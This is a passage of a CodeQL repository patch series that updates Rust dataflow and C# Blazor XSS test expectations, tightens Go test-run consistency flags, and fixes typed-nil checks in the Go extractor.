::unwrap_or_else; Argument[0].ReturnValue; ReturnValue; value | -| 6 | Summary: lang:core; ::unwrap_or_else; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 7 | Summary: lang:core; ::err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | -| 8 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 9 | Summary: lang:core; ::expect_err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue; value | -| 10 | Summary: lang:core; ::ok; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 1 | Summary: lang:alloc; ::new; Argument[0]; ReturnValue.Reference; value | +| 2 | Summary: lang:core; <_ as crate::convert::From>::from; Argument[0]; ReturnValue; value | +| 3 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 4 | Summary: lang:core; ::unwrap_or; Argument[0]; ReturnValue; value | +| 5 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 6 | Summary: lang:core; ::unwrap_or_else; Argument[0].ReturnValue; ReturnValue; value | +| 7 | Summary: lang:core; ::unwrap_or_else; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 8 | Summary: lang:core; ::err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 9 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 10 | Summary: lang:core; ::expect_err; Argument[self].Field[crate::result::Result::Err(0)]; ReturnValue; value | +| 11 | Summary: lang:core; ::ok; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | edges | main.rs:22:9:22:9 | s | main.rs:23:10:23:10 | s | provenance | | | main.rs:22:13:22:21 | source(...) | main.rs:22:9:22:9 | s | provenance | | @@ -22,6 +23,10 @@ edges | main.rs:48:15:48:23 | source(...) | main.rs:47:9:47:9 | b | provenance | | | main.rs:56:5:56:5 | i | main.rs:57:10:57:10 | i | provenance | | | main.rs:56:9:56:17 | source(...) | main.rs:56:5:56:5 | i | provenance | | +| main.rs:89:9:89:9 | i [&ref] | main.rs:90:11:90:11 | i [&ref] | provenance | | +| main.rs:89:13:89:31 | ...::new(...) [&ref] | main.rs:89:9:89:9 | i [&ref] | provenance | | +| main.rs:89:22:89:30 | source(...) | main.rs:89:13:89:31 | ...::new(...) [&ref] | provenance | MaD:1 | +| main.rs:90:11:90:11 | i [&ref] | main.rs:90:10:90:11 | * ... | provenance | | | main.rs:97:9:97:9 | a [tuple.0] | main.rs:98:10:98:10 | a [tuple.0] | provenance | | | main.rs:97:13:97:26 | TupleExpr [tuple.0] | main.rs:97:9:97:9 | a [tuple.0] | provenance | | | main.rs:97:14:97:22 | source(...) | main.rs:97:13:97:26 | TupleExpr [tuple.0] | provenance | | @@ -95,32 +100,32 @@ edges | main.rs:229:11:229:12 | s1 [Some] | main.rs:230:9:230:15 | Some(...) [Some] | provenance | | | main.rs:230:9:230:15 | Some(...) [Some] | main.rs:230:14:230:14 | n | provenance | | | main.rs:230:14:230:14 | n | main.rs:230:25:230:25 | n | provenance | | -| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap() | provenance | MaD:2 | +| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap() | provenance | MaD:3 | | main.rs:240:14:240:29 | Some(...) [Some] | main.rs:240:9:240:10 | s1 [Some] | provenance | | | main.rs:240:19:240:28 | source(...) | main.rs:240:14:240:29 | Some(...) [Some] | provenance | | -| main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:4 | +| main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:5 | | main.rs:245:14:245:29 | Some(...) [Some] | main.rs:245:9:245:10 | s1 [Some] | provenance | | | main.rs:245:19:245:28 | source(...) | main.rs:245:14:245:29 | Some(...) [Some] | provenance | | -| main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | provenance | MaD:3 | -| main.rs:253:9:253:10 | s1 [Some] | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | provenance | MaD:6 | +| main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | provenance | MaD:4 | +| main.rs:253:9:253:10 | s1 [Some] | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | provenance | MaD:7 | | main.rs:253:14:253:29 | Some(...) [Some] | main.rs:253:9:253:10 | s1 [Some] | provenance | | | main.rs:253:19:253:28 | source(...) | main.rs:253:14:253:29 | Some(...) [Some] | provenance | | -| main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | provenance | MaD:5 | +| main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | provenance | MaD:6 | | main.rs:261:9:261:10 | s1 [Some] | main.rs:263:14:263:15 | s1 [Some] | provenance | | | main.rs:261:14:261:29 | Some(...) [Some] | main.rs:261:9:261:10 | s1 [Some] | provenance | | | main.rs:261:19:261:28 | source(...) | main.rs:261:14:261:29 | Some(...) [Some] | provenance | | | main.rs:263:9:263:10 | i1 | main.rs:264:10:264:11 | i1 | provenance | | | main.rs:263:14:263:15 | s1 [Some] | main.rs:263:14:263:16 | TryExpr | provenance | | | main.rs:263:14:263:16 | TryExpr | main.rs:263:9:263:10 | i1 | provenance | | -| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok() [Some] | provenance | MaD:10 | +| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok() [Some] | provenance | MaD:11 | | main.rs:270:33:270:46 | Ok(...) [Ok] | main.rs:270:9:270:10 | r1 [Ok] | provenance | | | main.rs:270:36:270:45 | source(...) | main.rs:270:33:270:46 | Ok(...) [Ok] | provenance | | -| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap() | provenance | MaD:2 | +| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap() | provenance | MaD:3 | | main.rs:271:29:271:35 | r1.ok() [Some] | main.rs:271:9:271:11 | o1a [Some] | provenance | | -| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err() [Some] | provenance | MaD:7 | +| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err() [Some] | provenance | MaD:8 | | main.rs:276:33:276:47 | Err(...) [Err] | main.rs:276:9:276:10 | r2 [Err] | provenance | | | main.rs:276:37:276:46 | source(...) | main.rs:276:33:276:47 | Err(...) [Err] | provenance | | -| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap() | provenance | MaD:2 | +| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap() | provenance | MaD:3 | | main.rs:278:29:278:36 | r2.err() [Some] | main.rs:278:9:278:11 | o2b [Some] | provenance | | | main.rs:284:9:284:10 | s1 [Ok] | main.rs:287:14:287:15 | s1 [Ok] | provenance | | | main.rs:284:32:284:45 | Ok(...) [Ok] | main.rs:284:9:284:10 | s1 [Ok] | provenance | | @@ -128,10 +133,10 @@ edges | main.rs:287:9:287:10 | i1 | main.rs:289:10:289:11 | i1 | provenance | | | main.rs:287:14:287:15 | s1 [Ok] | main.rs:287:14:287:16 | TryExpr | provenance | | | main.rs:287:14:287:16 | TryExpr | main.rs:287:9:287:10 | i1 | provenance | | -| main.rs:297:9:297:10 | s1 [Ok] | main.rs:298:10:298:22 | s1.expect(...) | provenance | MaD:8 | +| main.rs:297:9:297:10 | s1 [Ok] | main.rs:298:10:298:22 | s1.expect(...) | provenance | MaD:9 | | main.rs:297:32:297:45 | Ok(...) [Ok] | main.rs:297:9:297:10 | s1 [Ok] | provenance | | | main.rs:297:35:297:44 | source(...) | main.rs:297:32:297:45 | Ok(...) [Ok] | provenance | | -| main.rs:301:9:301:10 | s2 [Err] | main.rs:303:10:303:26 | s2.expect_err(...) | provenance | MaD:9 | +| main.rs:301:9:301:10 | s2 [Err] | main.rs:303:10:303:26 | s2.expect_err(...) | provenance | MaD:10 | | main.rs:301:32:301:46 | Err(...) [Err] | main.rs:301:9:301:10 | s2 [Err] | provenance | | | main.rs:301:36:301:45 | source(...) | main.rs:301:32:301:46 | Err(...) [Err] | provenance | | | main.rs:312:9:312:10 | s1 [A] | main.rs:314:11:314:12 | s1 [A] | provenance | | @@ -233,7 +238,7 @@ edges | main.rs:524:11:524:15 | c_ref [&ref] | main.rs:524:10:524:15 | * ... | provenance | | | main.rs:528:9:528:9 | a | main.rs:532:20:532:20 | a | provenance | | | main.rs:528:18:528:27 | source(...) | main.rs:528:9:528:9 | a | provenance | | -| main.rs:532:20:532:20 | a | main.rs:532:10:532:21 | ...::from(...) | provenance | MaD:1 | +| main.rs:532:20:532:20 | a | main.rs:532:10:532:21 | ...::from(...) | provenance | MaD:2 | nodes | main.rs:18:10:18:18 | source(...) | semmle.label | source(...) | | main.rs:22:9:22:9 | s | semmle.label | s | @@ -253,6 +258,11 @@ nodes | main.rs:56:5:56:5 | i | semmle.label | i | | main.rs:56:9:56:17 | source(...) | semmle.label | source(...) | | main.rs:57:10:57:10 | i | semmle.label | i | +| main.rs:89:9:89:9 | i [&ref] | semmle.label | i [&ref] | +| main.rs:89:13:89:31 | ...::new(...) [&ref] | semmle.label | ...::new(...) [&ref] | +| main.rs:89:22:89:30 | source(...) | semmle.label | source(...) | +| main.rs:90:10:90:11 | * ... | semmle.label | * ... | +| main.rs:90:11:90:11 | i [&ref] | semmle.label | i [&ref] | | main.rs:97:9:97:9 | a [tuple.0] | semmle.label | a [tuple.0] | | main.rs:97:13:97:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | main.rs:97:14:97:22 | source(...) | semmle.label | source(...) | @@ -514,6 +524,7 @@ testFailures | main.rs:39:10:39:10 | b | main.rs:34:13:34:21 | source(...) | main.rs:39:10:39:10 | b | $@ | main.rs:34:13:34:21 | source(...) | source(...) | | main.rs:50:10:50:10 | b | main.rs:48:15:48:23 | source(...) | main.rs:50:10:50:10 | b | $@ | main.rs:48:15:48:23 | source(...) | source(...) | | main.rs:57:10:57:10 | i | main.rs:56:9:56:17 | source(...) | main.rs:57:10:57:10 | i | $@ | main.rs:56:9:56:17 | source(...) | source(...) | +| main.rs:90:10:90:11 | * ... | main.rs:89:22:89:30 | source(...) | main.rs:90:10:90:11 | * ... | $@ | main.rs:89:22:89:30 | source(...) | source(...) | | main.rs:98:10:98:12 | a.0 | main.rs:97:14:97:22 | source(...) | main.rs:98:10:98:12 | a.0 | $@ | main.rs:97:14:97:22 | source(...) | source(...) | | main.rs:106:10:106:11 | a1 | main.rs:103:17:103:26 | source(...) | main.rs:106:10:106:11 | a1 | $@ | main.rs:103:17:103:26 | source(...) | source(...) | | main.rs:113:10:113:12 | a.1 | main.rs:111:21:111:30 | source(...) | main.rs:113:10:113:12 | a.1 | $@ | main.rs:111:21:111:30 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/local/main.rs b/rust/ql/test/library-tests/dataflow/local/main.rs index 1d91135a31d5..4323f58c880b 100644 --- a/rust/ql/test/library-tests/dataflow/local/main.rs +++ b/rust/ql/test/library-tests/dataflow/local/main.rs @@ -87,7 +87,7 @@ fn block_expression3(b: bool) -> i64 { fn box_deref() { let i = Box::new(source(7)); - sink(*i); // $ MISSING: hasValueFlow=7 + sink(*i); // $ hasValueFlow=7 } // ----------------------------------------------------------------------------- From 72730368f6a8d0014cab70011fd453bd5f85e4af Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 20 May 2025 11:39:43 +0200 Subject: [PATCH 233/535] Update SDK version in integration test --- .../blazor_build_mode_none/BlazorTest/global.json | 2 +- .../all-platforms/blazor_build_mode_none/XSS.expected | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json index 7a0e39d71fa7..548d37935ed8 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json @@ -1,5 +1,5 @@ { "sdk": { - "version": "9.0.100" + "version": "9.0.300" } } \ No newline at end of file diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected index 64ab3e186a1f..f20ca29ee85e 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected @@ -3,8 +3,8 @@ | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | edges -| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | -| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:553:16:561:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:553:16:561:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | models | 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual | | 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual | @@ -14,5 +14,5 @@ nodes | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | -| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:553:16:561:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | subpaths From 14af9218b20cded64daf6eaff57f11af1d2abf9f Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 14 May 2025 11:00:50 +0100 Subject: [PATCH 234/535] Check more things while running tests --- go/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/Makefile b/go/Makefile index 5bf6d70e0e69..44e943e76db4 100644 --- a/go/Makefile +++ b/go/Makefile @@ -54,7 +54,7 @@ ql/lib/go.dbscheme.stats: ql/lib/go.dbscheme build/stats/src.stamp extractor codeql dataset measure -o $@ build/stats/database/db-go test: all build/testdb/check-upgrade-path - codeql test run -j0 ql/test --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) + codeql test run -j0 ql/test --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) --check-databases --fail-on-trap-errors --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition # use GOOS=linux because GOOS=darwin GOARCH=386 is no longer supported env GOOS=linux GOARCH=386 codeql$(EXE) test run -j0 ql/test/query-tests/Security/CWE-681 --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) cd extractor; $(BAZEL) test ... From d39e7c2066eaa62dcff6657bee4632261e03ff63 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 15 May 2025 11:26:47 +0100 Subject: [PATCH 235/535] Added named import to definitions test This makes the test slightly more thorough. --- go/ql/test/query-tests/definitions/definitions.expected | 1 + go/ql/test/query-tests/definitions/greet.go | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go/ql/test/query-tests/definitions/definitions.expected b/go/ql/test/query-tests/definitions/definitions.expected index 3c10cc9afbc9..a06fb63ff392 100644 --- a/go/ql/test/query-tests/definitions/definitions.expected +++ b/go/ql/test/query-tests/definitions/definitions.expected @@ -1,3 +1,4 @@ +| greet.go:6:2:6:6 | myfmt | greet.go:3:8:3:12 | myfmt | V | | main.go:6:26:6:28 | who | main.go:5:12:5:14 | who | V | | main.go:11:2:11:6 | greet | main.go:5:6:5:10 | greet | V | | main.go:11:8:11:12 | world | main.go:10:2:10:6 | world | V | diff --git a/go/ql/test/query-tests/definitions/greet.go b/go/ql/test/query-tests/definitions/greet.go index 064e43a2ca93..4067a5896be0 100644 --- a/go/ql/test/query-tests/definitions/greet.go +++ b/go/ql/test/query-tests/definitions/greet.go @@ -1,7 +1,7 @@ package main -import "fmt" +import myfmt "fmt" func greet2() { - fmt.Println("Hello world!") + myfmt.Println("Hello world!") } From 401c60654eabc92262119847e4b3bc88786f2f34 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 15 May 2025 13:40:57 +0100 Subject: [PATCH 236/535] Fix nil checks to stop creating unused labels In go, an interface with value nil does not compare equal to nil. This is known as "typed nils". So our existing nil checks weren't working, which shows why we needed more nil checks inside the type switches. The solution is to explicitly check for each type we care about. --- go/extractor/extractor.go | 147 ++++++-------------------------------- 1 file changed, 22 insertions(+), 125 deletions(-) diff --git a/go/extractor/extractor.go b/go/extractor/extractor.go index c45443907530..1456dd3a8990 100644 --- a/go/extractor/extractor.go +++ b/go/extractor/extractor.go @@ -936,7 +936,16 @@ func emitScopeNodeInfo(tw *trap.Writer, nd ast.Node, lbl trap.Label) { // extractExpr extracts AST information for the given expression and all its subexpressions func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, skipExtractingValue bool) { - if expr == nil { + if expr == nil || expr == (*ast.Ident)(nil) || expr == (*ast.BasicLit)(nil) || + expr == (*ast.Ellipsis)(nil) || expr == (*ast.FuncLit)(nil) || + expr == (*ast.CompositeLit)(nil) || expr == (*ast.SelectorExpr)(nil) || + expr == (*ast.IndexListExpr)(nil) || expr == (*ast.SliceExpr)(nil) || + expr == (*ast.TypeAssertExpr)(nil) || expr == (*ast.CallExpr)(nil) || + expr == (*ast.StarExpr)(nil) || expr == (*ast.KeyValueExpr)(nil) || + expr == (*ast.UnaryExpr)(nil) || expr == (*ast.BinaryExpr)(nil) || + expr == (*ast.ArrayType)(nil) || expr == (*ast.StructType)(nil) || + expr == (*ast.FuncType)(nil) || expr == (*ast.InterfaceType)(nil) || + expr == (*ast.MapType)(nil) || expr == (*ast.ChanType)(nil) { return } @@ -948,9 +957,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski case *ast.BadExpr: kind = dbscheme.BadExpr.Index() case *ast.Ident: - if expr == nil { - return - } kind = dbscheme.IdentExpr.Index() dbscheme.LiteralsTable.Emit(tw, lbl, expr.Name, expr.Name) def := tw.Package.TypesInfo.Defs[expr] @@ -984,15 +990,9 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski } } case *ast.Ellipsis: - if expr == nil { - return - } kind = dbscheme.EllipsisExpr.Index() extractExpr(tw, expr.Elt, lbl, 0, false) case *ast.BasicLit: - if expr == nil { - return - } value := "" switch expr.Kind { case token.INT: @@ -1016,36 +1016,21 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski } dbscheme.LiteralsTable.Emit(tw, lbl, value, expr.Value) case *ast.FuncLit: - if expr == nil { - return - } kind = dbscheme.FuncLitExpr.Index() extractExpr(tw, expr.Type, lbl, 0, false) extractStmt(tw, expr.Body, lbl, 1) case *ast.CompositeLit: - if expr == nil { - return - } kind = dbscheme.CompositeLitExpr.Index() extractExpr(tw, expr.Type, lbl, 0, false) extractExprs(tw, expr.Elts, lbl, 1, 1) case *ast.ParenExpr: - if expr == nil { - return - } kind = dbscheme.ParenExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) case *ast.SelectorExpr: - if expr == nil { - return - } kind = dbscheme.SelectorExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) extractExpr(tw, expr.Sel, lbl, 1, false) case *ast.IndexExpr: - if expr == nil { - return - } typeofx := typeOf(tw, expr.X) if typeofx == nil { // We are missing type information for `expr.X`, so we cannot @@ -1065,9 +1050,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.X, lbl, 0, false) extractExpr(tw, expr.Index, lbl, 1, false) case *ast.IndexListExpr: - if expr == nil { - return - } typeofx := typeOf(tw, expr.X) if typeofx == nil { // We are missing type information for `expr.X`, so we cannot @@ -1084,18 +1066,12 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.X, lbl, 0, false) extractExprs(tw, expr.Indices, lbl, 1, 1) case *ast.SliceExpr: - if expr == nil { - return - } kind = dbscheme.SliceExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) extractExpr(tw, expr.Low, lbl, 1, false) extractExpr(tw, expr.High, lbl, 2, false) extractExpr(tw, expr.Max, lbl, 3, false) case *ast.TypeAssertExpr: - if expr == nil { - return - } kind = dbscheme.TypeAssertExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) // expr.Type can be `nil` if this is the `x.(type)` in a type switch. @@ -1103,9 +1079,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.Type, lbl, 1, false) } case *ast.CallExpr: - if expr == nil { - return - } kind = dbscheme.CallOrConversionExpr.Index() extractExpr(tw, expr.Fun, lbl, 0, false) extractExprs(tw, expr.Args, lbl, 1, 1) @@ -1113,22 +1086,13 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski dbscheme.HasEllipsisTable.Emit(tw, lbl) } case *ast.StarExpr: - if expr == nil { - return - } kind = dbscheme.StarExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) case *ast.KeyValueExpr: - if expr == nil { - return - } kind = dbscheme.KeyValueExpr.Index() extractExpr(tw, expr.Key, lbl, 0, false) extractExpr(tw, expr.Value, lbl, 1, false) case *ast.UnaryExpr: - if expr == nil { - return - } if expr.Op == token.TILDE { kind = dbscheme.TypeSetLiteralExpr.Index() } else { @@ -1140,9 +1104,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski } extractExpr(tw, expr.X, lbl, 0, false) case *ast.BinaryExpr: - if expr == nil { - return - } _, isUnionType := typeOf(tw, expr).(*types.Union) if expr.Op == token.OR && isUnionType { kind = dbscheme.TypeSetLiteralExpr.Index() @@ -1158,46 +1119,28 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.Y, lbl, 1, false) } case *ast.ArrayType: - if expr == nil { - return - } kind = dbscheme.ArrayTypeExpr.Index() extractExpr(tw, expr.Len, lbl, 0, false) extractExpr(tw, expr.Elt, lbl, 1, false) case *ast.StructType: - if expr == nil { - return - } kind = dbscheme.StructTypeExpr.Index() extractFields(tw, expr.Fields, lbl, 0, 1) case *ast.FuncType: - if expr == nil { - return - } kind = dbscheme.FuncTypeExpr.Index() extractFields(tw, expr.Params, lbl, 0, 1) extractFields(tw, expr.Results, lbl, -1, -1) emitScopeNodeInfo(tw, expr, lbl) case *ast.InterfaceType: - if expr == nil { - return - } kind = dbscheme.InterfaceTypeExpr.Index() // expr.Methods contains methods, embedded interfaces and type set // literals. makeTypeSetLiteralsUnionTyped(tw, expr.Methods) extractFields(tw, expr.Methods, lbl, 0, 1) case *ast.MapType: - if expr == nil { - return - } kind = dbscheme.MapTypeExpr.Index() extractExpr(tw, expr.Key, lbl, 0, false) extractExpr(tw, expr.Value, lbl, 1, false) case *ast.ChanType: - if expr == nil { - return - } tp := dbscheme.ChanTypeExprs[expr.Dir] if tp == nil { log.Fatalf("unsupported channel direction %v", expr.Dir) @@ -1299,7 +1242,15 @@ func extractFields(tw *trap.Writer, fields *ast.FieldList, parent trap.Label, id // extractStmt extracts AST information for a given statement and all other statements or expressions // nested inside it func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { - if stmt == nil { + if stmt == nil || stmt == (*ast.DeclStmt)(nil) || + stmt == (*ast.LabeledStmt)(nil) || stmt == (*ast.ExprStmt)(nil) || + stmt == (*ast.SendStmt)(nil) || stmt == (*ast.IncDecStmt)(nil) || + stmt == (*ast.AssignStmt)(nil) || stmt == (*ast.GoStmt)(nil) || + stmt == (*ast.DeferStmt)(nil) || stmt == (*ast.BranchStmt)(nil) || + stmt == (*ast.BlockStmt)(nil) || stmt == (*ast.IfStmt)(nil) || + stmt == (*ast.CaseClause)(nil) || stmt == (*ast.SwitchStmt)(nil) || + stmt == (*ast.TypeSwitchStmt)(nil) || stmt == (*ast.CommClause)(nil) || + stmt == (*ast.ForStmt)(nil) || stmt == (*ast.RangeStmt)(nil) { return } @@ -1309,37 +1260,22 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { case *ast.BadStmt: kind = dbscheme.BadStmtType.Index() case *ast.DeclStmt: - if stmt == nil { - return - } kind = dbscheme.DeclStmtType.Index() extractDecl(tw, stmt.Decl, lbl, 0) case *ast.EmptyStmt: kind = dbscheme.EmptyStmtType.Index() case *ast.LabeledStmt: - if stmt == nil { - return - } kind = dbscheme.LabeledStmtType.Index() extractExpr(tw, stmt.Label, lbl, 0, false) extractStmt(tw, stmt.Stmt, lbl, 1) case *ast.ExprStmt: - if stmt == nil { - return - } kind = dbscheme.ExprStmtType.Index() extractExpr(tw, stmt.X, lbl, 0, false) case *ast.SendStmt: - if stmt == nil { - return - } kind = dbscheme.SendStmtType.Index() extractExpr(tw, stmt.Chan, lbl, 0, false) extractExpr(tw, stmt.Value, lbl, 1, false) case *ast.IncDecStmt: - if stmt == nil { - return - } if stmt.Tok == token.INC { kind = dbscheme.IncStmtType.Index() } else if stmt.Tok == token.DEC { @@ -1349,9 +1285,6 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { } extractExpr(tw, stmt.X, lbl, 0, false) case *ast.AssignStmt: - if stmt == nil { - return - } tp := dbscheme.AssignStmtTypes[stmt.Tok] if tp == nil { log.Fatalf("unsupported assignment statement with operator %v", stmt.Tok) @@ -1360,24 +1293,15 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { extractExprs(tw, stmt.Lhs, lbl, -1, -1) extractExprs(tw, stmt.Rhs, lbl, 1, 1) case *ast.GoStmt: - if stmt == nil { - return - } kind = dbscheme.GoStmtType.Index() extractExpr(tw, stmt.Call, lbl, 0, false) case *ast.DeferStmt: - if stmt == nil { - return - } kind = dbscheme.DeferStmtType.Index() extractExpr(tw, stmt.Call, lbl, 0, false) case *ast.ReturnStmt: kind = dbscheme.ReturnStmtType.Index() extractExprs(tw, stmt.Results, lbl, 0, 1) case *ast.BranchStmt: - if stmt == nil { - return - } switch stmt.Tok { case token.BREAK: kind = dbscheme.BreakStmtType.Index() @@ -1392,16 +1316,10 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { } extractExpr(tw, stmt.Label, lbl, 0, false) case *ast.BlockStmt: - if stmt == 